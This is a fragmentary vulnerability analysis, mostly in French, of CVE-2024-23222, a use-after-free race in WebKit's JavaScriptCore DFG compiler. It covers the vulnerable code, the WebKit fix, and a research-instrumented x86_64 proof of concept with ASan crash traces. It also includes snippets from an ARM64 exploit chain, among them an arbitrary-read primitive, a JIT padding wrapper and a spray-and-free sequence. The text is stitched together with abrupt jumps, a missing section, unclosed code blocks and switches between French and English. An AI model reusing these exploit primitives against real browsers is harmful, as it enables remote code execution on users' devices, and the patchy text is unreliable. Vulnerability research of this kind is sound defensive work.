La `JSValue` retournée n'est pas protégée. Si elle contient un pointeur de cellule, rien n'empêche que cette cellule soit libérée entre la libération du verrou et le moment où l'appelant l'utilise.

### 2.3 Chemins de consommation de la valeur obsolète

La `JSValue` retournée peut être consommée par deux chemins. Si la cellule est devenue obsolète ou invalide pendant la fenêtre de course, l'un ou l'autre chemin peut provoquer une faute.

**Chemin A : `freeze()` sur le thread du compilateur.** Le consommateur le plus direct est `Graph::freeze()`, que l'appelant invoque immédiatement sur la valeur retournée :```cpp
// Source/JavaScriptCore/dfg/DFGGraph.cpp
FrozenValue* Graph::freeze(JSValue value)
{
    if (UNLIKELY(!value))
        return FrozenValue::emptySingleton();

    // This dereferences value as a cell:
    RELEASE_ASSERT(!jsDynamicCast<CodeBlock*>(value));
    // ...
    FrozenValue frozenValue = FrozenValue::freeze(value);
    // ...
}

Si la cellule a été libérée entre l'exécution de `tryGetConstantProperty()` et celle de `freeze()`, `value.asCell()->structure()` est une use-after-free.

**Chemin B : marquage GC pendant la fenêtre élargie.** Dans la build de recherche, le thread du compilateur entre dans un point de sécurité (safepoint) brut du DFG à l'intérieur de `tryGetConstantProperty()` après avoir lu la propriété mais avant de la retourner à l'appelant. Cela permet au thread principal d'exécuter le GC pendant que la valeur de cellule obsolète existe toujours comme variable locale native brute du côté du compilateur. Dans le PoC Linux x86_64 actuel, le crash revalidé de manière fiable se produit plus tard dans le marquage GC, où `SlotVisitor` finit par déréférencer une cellule obsolète invalide en parcourant les références du tas. La pile de crash actuelle prouve que la machinerie GC ultérieure consomme la valeur obsolète ; elle ne prouve pas en soi le conteneur exact depuis lequel ce pointeur obsolète a été atteint.

### 2.4 Sites d'appel

Deux endroits dans le pipeline DFG passent inconditionnellement le résultat de `tryGetConstantProperty()` à `freeze()` :

**ByteCodeParser** — lors de l'abaissement initial bytecode-vers-DFG-IR :```cpp
// Source/JavaScriptCore/dfg/DFGByteCodeParser.cpp:5114
JSValue constant = m_graph.tryGetConstantProperty(
    base->asJSValue(),
    *m_graph.addStructureSet(variant.structureSet()),
    variant.offset());
if (constant)
    return weakJSConstant(constant);  // → m_graph.freeze(constant)

Un troisième site d'appel dans **AbstractInterpreter** appelle également `freeze()`, mais uniquement lorsque la valeur retournée est un `GetterSetter*` :```cpp
// Source/JavaScriptCore/dfg/DFGAbstractInterpreterInlines.h:4319
JSValue result = m_graph.tryGetConstantProperty(base, data.offset);
if (result && jsDynamicCast<GetterSetter*>(result))
    setConstant(node, *m_graph.freeze(result));

La valeur `config.g = -NaN` sert de canal auxiliaire pour le palier JIT : `Math.min(-NaN, -NaN)` produit des motifs binaires différents dans l'interpréteur par rapport au JIT, observables via une vue `Int32Array`.

**Wrapper d'appel JIT.** Un `new Function()` avec 7 200 répétitions de bourrage de code mort (`x += 1;` dans `if(false)`) contrôle la taille de la région de code JIT. Le chemin de code vivant est un simple répartiteur de fonctions :```javascript
const deadCodePadding = 'x += 1; '.repeat(7200 * 7);
const jitCallWrapper = new Function(
    'func', 'arg0', 'arg1', 'arg2', 'arg3', 'arg4',
    `if(false) { let x = 0; ${deadCodePadding} }
     return func(arg0, arg1, arg2, arg3, arg4);`
);

**Lecture arbitraire.** Après avoir corrompu la structure, `jitReadFn` lit `arr[0]` à travers le pointeur butterfly corrompu, puis divise par `5e-324` (`Number.MIN_VALUE`) pour inverser le NaN-boxing et extraire une adresse brute :```javascript
const jitReadFn = (state, arr, targetAddr) => {
    state.callFn(corruptFn, state, targetAddr);
    const readValue = arr[0];
    return readValue / 5e-324;  // decode address from NaN-boxed float64
};

The chain: `apply()` reads properties 0–8. Reading index 8 fires the getter, which frees the spray arrays. `inlinedFunction` then calls `jitTrigger` with `arguments[3]` (the now-freed `sprayArrays[3001]`). The JIT-compiled `jitTrigger` interprets freed memory as float64 values, decodes addresses via `/ 5e-324`, and resolves WebAssembly instance pointers to initialize an arbitrary read/write primitive.

### 3.3 Why this is ARM64-specific

Two properties of ARM64 make this exploit non-portable to x86_64.

**Memory ordering.** The S1→S2→S3 multi-structure race described in the patch commit depends on ARM64's weak memory ordering. When the main thread writes a new property value and then sets a new structure, ARM64 can reorder those stores. The compiler thread may observe the new structure but read the old (stale) property value. x86_64's Total Store Order (TSO) guarantees that if the structure store is visible, every prior store — including the property write — is also visible. The specific memory-reordering mechanism that the multi-structure constant-folding race relies on does not apply under TSO, and this race has not been observed to manifest on x86_64.

**NaN-boxing layout.** The exploit writes crafted float64 values to object properties, exploiting the fact that on ARM64, the bit patterns of those doubles overlap with JSC cell headers (structure IDs, butterfly pointers) in NaN-boxed representation. While x86_64 JSC uses the same NaN-boxing scheme, the specific structure-ID encoding and pointer layout differ enough that the ARM64 type-punning technique does not produce valid structure corruption on x86_64.

---

## 4. Adapting to x86_64

### 4.1 Why the ARM64 attack fails on x86_64

The multi-structure race requires the compiler thread to read a property value from an intermediate structure (S2) while the profiled structure set contains only {S1, S3}. On x86_64, TSO prevents this: the cell lock in `tryGetConstantProperty()` provides sequencing, and even without the lock, store ordering guarantees a consistent (structure, value) pair. If the compiler thread sees structure S1, it sees S1's value. If it sees S2, the structure check fails (S2 is not in the set). The specific store-reordering window that ARM64 weak ordering opens does not apply under TSO.

### 4.2 The alternative: freed cell during compilation

The x86_64 proof of concept exploits a different consequence of the same TOCTOU. Instead of getting
the compiler to fold a value from the wrong structure, it causes the compiler to hold a stale
cell-valued `JSValue` that becomes invalid across the widened race window.

The sequence:

1. `tryGetConstantProperty()` reads a cell-valued property under the cell lock.
2. The lock releases. The cell pointer is now a raw `JSValue` on the compiler thread's native C++ stack.
3. The main thread replaces the property (`state.val = 0`), removing the last JavaScript reference to the cell.
4. The main thread triggers garbage collection.
5. GC does **not** scan the compiler thread's stack. DFG compiler threads never acquire `JSLock` and are therefore never registered with the GC's machine thread set:```cpp
// Source/JavaScriptCore/runtime/JSLock.cpp:154-160
// Inside didAcquireLock(), called when acquiring JSLock:
if (thread.uid() != m_lastOwnerThread) {
    m_lastOwnerThread = thread.uid();
    if (m_vm->heap.machineThreads().addCurrentThread()) {
        // ...
    }
}
// DFG compiler threads never acquire JSLock.
// Their stacks are never scanned by GC.

`state.val` contient la cellule cible. `Object.seal()` fige la structure afin que le DFG puisse traiter `state` comme une constante connue.

**Fonction sonde.** Une fonction générée dynamiquement lit `state.val`. Lorsque le DFG compile cette fonction, il tente d'appliquer le constant folding à l'accès à la propriété, en entrant dans `tryGetConstantProperty()` :```javascript
let probe = new Function(
    'state',
    'const v0 = state.val; return (v0 ? 1 : 0);'
).bind(null, state);

**Libération et collecte.** Une fois que le thread du compilateur DFG a lu la cellule (la build instrumentée dort
ici), le thread principal abandonne la référence et exécute le GC. La logique réelle du harnais est paramétrée, mais
la forme de travail par défaut est :```javascript
state.val = 0;    // remove the JS reference to the target cell
probe = null;     // drop the probe closure

burnInterpreterRegisters(SCRUB_ROUNDS);

Promise.resolve().then(() => {
    burnInterpreterRegisters(SCRUB_ROUNDS);
    runGcSequence();      // repeated GC passes plus allocation pressure
});
drainMicrotasks();

`burnInterpreterRegisters()` est une fonction numérique récursive qui écrase les emplacements de registres de l'interpréteur sur la pile du thread principal, réduisant ainsi la probabilité qu'un balayage conservateur de la pile trouve un pointeur obsolète vers la cellule cible.

### 5.2 Instrumentation du moteur

Le build de recherche modifie `tryGetConstantProperty()` dans `DFGGraph.cpp`. Après la libération du verrou de cellule et avant le retour de la fonction, l'instrumentation :

1. Écrit éventuellement un fichier de signal (pour la synchronisation côté JS ; désactivé dans la meilleure configuration actuelle).
2. Entre dans un `Safepoint` DFG brut, ce qui libère le verrou `m_rightToRun` du thread du compilateur. Cela permet au GC de procéder sans attendre le thread du compilateur.
3. Dort pendant une durée configurable (par défaut : 500 ms).
4. Au réveil, réacquiert `m_rightToRun` et vérifie si le plan de compilation a été annulé.```cpp
// DFGGraph.cpp — research instrumentation in tryGetConstantProperty()
if (result.isCell()) {
    Safepoint::Result safepointResult;
    {
        // Raw Safepoint — does NOT register Graph as a Scannable.
        // GC will not visit the Graph's frozen values during this window.
        Safepoint safepoint(m_plan, safepointResult);
        safepoint.begin();          // releases m_rightToRun
        usleep(tgcpSleepUsec());    // default: 500,000 µs
    }                               // destructor re-acquires m_rightToRun

    if (safepointResult.didGetCancelled())
        return JSValue();           // plan was cancelled during sleep
}
return result;  // caller calls freeze(result)

**Explication des indicateurs :**

| Indicateur | Objectif |
|------|---------|
| `--useConcurrentJIT=true` | Activer la compilation DFG en arrière-plan (la course nécessite deux threads) |
| `--thresholdForOptimizeAfterWarmUp=20` | Abaisser le seuil de passage au niveau DFG afin que la compilation démarre après un échauffement minimal |
| `--thresholdForJITAfterWarmUp=5` | Abaisser le seuil du JIT de référence |
| `--thresholdForFTLOptimizeAfterWarmUp=1000000` | Empêcher FTL de rivaliser avec DFG ; conserver la compilation au niveau DFG |
| `JSC_TGCP_SLEEP_USEC=500000` | Fenêtre de course de 500 ms dans la build instrumentée |
| `JSC_TGCP_SIGNAL_PATH=''` | Désactiver le fichier de signal (synchronisation basée uniquement sur le timing) |
| `ASAN_OPTIONS=...quarantine_size_mb=256` | Une grande quarantaine empêche la mémoire libérée d'être immédiatement réutilisée |

Les indicateurs de palier sont critiques. Sans eux, le calendrier du JIT change suffisamment pour que la compilation et la libération sur le thread principal ne soient plus alignées.

---

## 6. Analyse du crash

### 6.1 Le crash du marquage GC

Le crash reproductible principal se produit pendant le ramasse-miettes, lorsque le `SlotVisitor` du GC tente
de marquer une cellule périmée. Un déroulement complet représentatif ressemble à ceci :```text
WARNING: ASAN interferes with JSC signal handlers; useWebAssemblyFastMemory and useWasmFaultSignalHandler will be disabled.
[clean-race] clean CVE-2024-23222 x86_64 ASan attempt signal=false delaySpins=0 delayMs=0 delayKind=sleep gc=full reads=1 release=direct probe=bound-generated
[tgcp] HIT obj=0x62d000110140 struct=0x7f260000a160 setSize=1 offset=0 val=cell
[tgcp] RACE: entering safepoint + sleeping 500000us after reading cell 0x62d00011c130 from obj=0x62d000110140 offset=0
[clean-race] attempt 1: startCompilation() -> 1
[clean-race] attempt 1: proceeding without signal after delaySpins=0 delayMs=0 delayKind=sleep
[tgcp] BAIL base=null offset=0 (base null or not object)
[tgcp] BAIL base=null offset=0 (base null or not object)
[tgcp] BAIL base=null offset=0 (base null or not object)
[tgcp] BAIL base=null offset=0 (base null or not object)
[tgcp] WAKE: safepoint done, cell was 0x62d00011c130
[tgcp] ASAN: cell 0x62d00011c130 is accessible after wake
AddressSanitizer:DEADLYSIGNAL
=================================================================
==28622==ERROR: AddressSanitizer: SEGV on unknown address 0x180000008020
==28622==The signal is caused by a READ memory access.
    #0  WTF::Dependency::loadAndFence<unsigned int>()
    #1  JSC::MarkedBlock::aboutToMark(unsigned int)
    #2  JSC::SlotVisitor::appendHiddenUnbarriered(JSC::JSCell*)
    #3  JSC::SlotVisitor::appendHiddenUnbarriered(JSC::JSValue)
    #4  JSC::SlotVisitor::appendHidden(...)
    #5  JSC::SlotVisitor::appendValuesHidden(...)
    #6  JSC::JSFinalObject::visitChildrenImpl<JSC::SlotVisitor>(...)
    #7  JSC::JSFinalObject::visitChildren(...)
    #8  JSC::SlotVisitor::visitChildren(JSC::JSCell const*)
    #9  JSC::SlotVisitor::drain(...)
    #10 JSC::SlotVisitor::drainFromShared(...)
    #11 JSC::Heap::runBeginPhase(JSC::GCConductor)
    #12 WTF::SharedTaskFunctor<...>::run()
    #13 WTF::ParallelHelperClient::runTask(...)
    #14 WTF::ParallelHelperPool::Thread::work()

À un moment donné de cette traversée, `appendHiddenUnbarriered` reçoit un `JSValue` obsolète contenant une cellule et le traite comme une cellule vivante :```cpp
// Source/JavaScriptCore/heap/SlotVisitorInlines.h:91-93
MarkedBlock& block = cell->markedBlock();
dependency = block.aboutToMark(m_markingVersion);

The `loadAndFence` lit depuis l'adresse `MarkedBlock` invalide (`0x180000008020`), ce qui provoque le SEGV.

### 6.2 La variante de crash `freeze()`

Dans des conditions de synchronisation différentes, le même TOCTOU produit également un crash directement sur le thread de travail du compilateur DFG, dans le chemin `freeze()` :```
    #0  ClassInfo::isSubClassOf()
    #1  JSCell::inherits()
    #2  jsDynamicCast<CodeBlock, JSCell>()
    #3  Graph::freeze(JSValue)
    #4  ByteCodeParser::weakJSConstant()
    #5  ByteCodeParser::load<GetByVariant>()

La ligne `[tgcp] HIT` confirme que `tryGetConstantProperty()` a correctement replié la propriété cible en tant que valeur de cellule (constant folding). La ligne `RACE` montre le thread du compilateur entrant dans la fenêtre élargie. La ligne `WAKE` le montre reprenant son exécution. Le diagnostic ASan signale la cellule comme « accessible » — ASan ne détecte pas une simple violation de redzone — mais les pointeurs internes de la cellule (ID de structure, pointeur retour `MarkedBlock`) sont obsolètes, ce qui provoque le crash lorsque le code propre de JSC tente de les utiliser.

---

## 7. Instrumentation de recherche

### 7.1 Ce qui est artificiel

La build de recherche modifie `tryGetConstantProperty()` de trois manières :

- Un `usleep()` de 500 ms élargit la fenêtre de course. Le moteur d'origine ne contient aucun sommeil ici ; la fenêtre naturelle entre la libération du verrou de la cellule et l'appel à `freeze()` est de l'ordre de la nanoseconde.
- Un `Safepoint` brut est entré sans enregistrer le `Graph` comme `Scannable`. Les points de sécurité de production (via `GraphSafepoint`) ajoutent le `Graph`, ce qui amène le GC à visiter toutes les valeurs figées. Le safepoint brut rend la cellule pas encore figée invisible pour le GC.
- Les variables d'environnement (`JSC_TGCP_SLEEP_USEC`, `JSC_TGCP_SIGNAL_PATH`) contrôlent la durée du sommeil et un fichier de signal optionnel.

### 7.2 Ce qui n'est pas artificiel

Le crash lui-même provient de chemins de code JSC non modifiés :

- `JSFinalObject::visitChildrenImpl` et `SlotVisitor::appendHiddenUnbarriered` sont la logique de marquage GC d'origine.
- `Graph::freeze()` et `FrozenValue::freeze()` sont la logique standard du compilateur DFG.
- Aucun `__asan_poison_memory_region()` ni autre corruption mémoire manuelle n'est utilisé.
- Aucune sonde explicite du type « déréférencer le pointeur obsolète ici » n'est insérée dans le chemin du crash.
- Le harnais JavaScript n'utilise que les API publiques de JSC et les fonctions intégrées du shell `jsc` (`optimizeNextInvocation`, `numberOfDFGCompiles`, `fullGC`, `drainMicrotasks`).
- Les threads du compilateur DFG ne sont réellement pas analysés par le GC — c'est un comportement de production, pas un artefact de recherche.

### 7.3 Évaluation

La fenêtre de course naturelle est trop étroite pour une reproduction fiable sur x86_64 sans instrumentation. Sur ARM64, le faible ordonnancement mémoire (weak memory ordering) donne à l'exploit d'origine une fenêtre naturelle beaucoup plus large — les écritures de structure et de valeur peuvent être réordonnées, de sorte que le thread du compilateur peut observer un état incohérent sans aucune aide artificielle de synchronisation.

Un exploit de production hypothétique sur x86_64 aurait besoin soit d'un moyen de bloquer le thread du compilateur au point critique (par exemple, une recherche de structure lente, un verrou contesté, ou une forme de graphe pathologique qui retarde `freeze()`), soit d'une approche statistique avec de nombreuses tentatives de compilation. L'instrumentation remplace cette exigence par un sommeil déterministe.

---

## 8. Le correctif

Le commit WebKit `64714692967ad278155fcae66c5cb0f853b3bf34` de Yusuke Suzuki (revu par Mark Lam) corrige la vulnérabilité.

Le correctif introduit une nouvelle classe, `DesiredObjectProperties`, qui enregistre des n-uplets `(JSObject*, PropertyOffset, JSValue, Structure*)` chaque fois que le compilateur DFG effectue un constant folding sur un chargement de propriété. Une fois la compilation terminée, `Plan::isStillValidOnMainThread()` relit ces propriétés sur le thread principal et les compare aux valeurs enregistrées. Si un n-uplet est obsolète — la structure de l'objet a changé, ou la valeur de la propriété diffère — le plan compilé est rejeté avant de pouvoir s'exécuter.

Cela transforme le TOCTOU en une vérification atomique : l'instantané du compilateur est validé à un point de synchronisation (finalisation sur le thread principal) avant que le code optimisé ne soit installé. L'UAF de `freeze()` peut toujours se produire pendant la compilation, mais le code résultant n'est jamais utilisé.

Pour les ensembles multi-structures, le `tryGetConstantProperty()` corrigé rejette également tout le constant folding lorsque `structureSet.size() > 1` et que toutes les structures ne sont pas activement surveillées. Cela élimine l'attaque par transition transitive S1→S2→S3 à la source.

---

## 9. Fichiers

| File | Description |
|------|-------------|
| `toctou_clean_asan_v2.js` | Harnais JavaScript de preuve de concept |
| `DFGGraph.cpp` | Fonction vulnérable (`tryGetConstantProperty`), `freeze()` et instrumentation de recherche |
| `DFGFrozenValue.h` | `FrozenValue::freeze()` — le point de déréférencement de la cellule |
| `DFGByteCodeParser.cpp` | Site d'appel de `weakJSConstant()` |
| `DFGConstantFoldingPhase.cpp` | Site d'appel de `emitGetByOffset()` |
| `DFGAbstractInterpreterInlines.h` | Site d'appel de l'interpréteur abstrait |
| `SlotVisitorInlines.h` | `appendHiddenUnbarriered()` — site de crash du marquage GC |
| `MarkedBlock.h` | `aboutToMark()` — là où le SEGV se produit |
| `JSLock.cpp` | `didAcquireLock()` — montre que les threads DFG ne sont pas enregistrés auprès du GC |